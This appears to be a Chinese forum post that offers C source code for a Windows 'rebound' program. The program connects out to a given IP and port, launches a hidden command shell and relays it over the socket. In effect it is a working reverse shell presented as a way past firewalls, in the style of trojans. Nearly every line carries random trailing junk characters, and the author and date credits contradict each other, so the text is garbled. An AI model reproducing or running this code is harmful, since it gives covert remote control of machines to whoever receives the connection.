这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 4 kNiS^h
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/* ============================== x$:P;#
Rebound port in Windows NT -->~<o
By wind,2006/7 Jp d|<\Ml
===============================*/ F3%8E<QZd;
#include _K4E6c_
#include 7xhBdi[ dQ
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#pragma comment(lib,"wsock32.lib") I<``d Ne9Q
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void OutputShell(); ^%qe&Pe2
SOCKET sClient; :pp@x*uNP
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Fuz'!
+ n)_\@aQ
void main(int argc,char **argv) !jySID?q
{ ZNKopA(=|%
WSADATA stWsaData; TI<?h(*R_
int nRet; Q|6lp
SOCKADDR_IN stSaiClient,stSaiServer; ]U,c`?[7#
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if(argc != 3) t)i{=8rq
{ 2m*g,J?ql
printf("Useage:\n\rRebound DestIP DestPort\n"); (\I9eBm
return; pef)c,U$
} _<8~CWo:
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WSAStartup(MAKEWORD(2,2),&stWsaData); @mJ#~@*(
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f i_'Ny>#
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stSaiClient.sin_family = AF_INET; eXYf"hU,
stSaiClient.sin_port = htons(0); !bq3c(d
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Qms,kX
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) vg"$&YX9"
{ Zw`9B
printf("Bind Socket Failed!\n"); \se
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return; MmbS["A
} Fmd^9K
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stSaiServer.sin_family = AF_INET; 5fT"`FL?
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); auai@)v6
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ;usR=i36b
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) YaT6vSz
{ %*A|hK+G:W
printf("Connect Error!"); =-m"y~{>3
return; &*JU
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} <y4WG
OutputShell(); o?O> pK
} #3_t}<fX
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void OutputShell() B*3<(eI
{ ,pHQv(K/
char szBuff[1024]; %@~;PS3kd
SECURITY_ATTRIBUTES stSecurityAttributes; l2*o@&.
OSVERSIONINFO stOsversionInfo; 'O+)[D
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; MV?#g-5
STARTUPINFO stStartupInfo; SqosJ}K
char *szShell; 0^m`jD
PROCESS_INFORMATION stProcessInformation; H5)8TR3La
unsigned long lBytesRead; sA|!b.q
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); /)-OK7x
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 2gM/".|{
stSecurityAttributes.lpSecurityDescriptor = 0; tYk!Y/O}
stSecurityAttributes.bInheritHandle = TRUE; GpZ}xY'|w,
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); tZL {;@
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); nc[Kh8N9
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); iRIO~XVo
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )7jJ3G*
stStartupInfo.wShowWindow = SW_HIDE; 4c'F.0^
stStartupInfo.hStdInput = hReadPipe; WcOnv'l,
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; +.2OZ3(
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GetVersionEx(&stOsversionInfo); 7@NV|Idtd
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switch(stOsversionInfo.dwPlatformId) !zZ3F|+HB
{ NW4tQ;ad
case 1: t[4V1:
szShell = "command.com"; H2JKQm_
break; R8%%EEB
default: Rh,a4n?W
szShell = "cmd.exe"; {~"fq.h!M
break; Q`m9I
} xa[)fk$6
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);
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}`uFLBG3
send(sClient,szMsg,77,0); )jPIBzMys
while(1) : =f!>_r+
{ ?_t_rF(?6
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); r T"3^,,
if(lBytesRead) kQw%Wpuq[/
{ #;])/8R%
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); NyR,@n1
send(sClient,szBuff,lBytesRead,0); H{et2J<H
} B(1WI_}~
else |*%i]@V=
{ + usB$=kJ
lBytesRead=recv(sClient,szBuff,1024,0); bamQ]>0|>!
if(lBytesRead<=0) break; _zK
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Mc9J Fzp
} ]RxJ^'a63
} ?ocBRla
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return; =oT4!OUf
}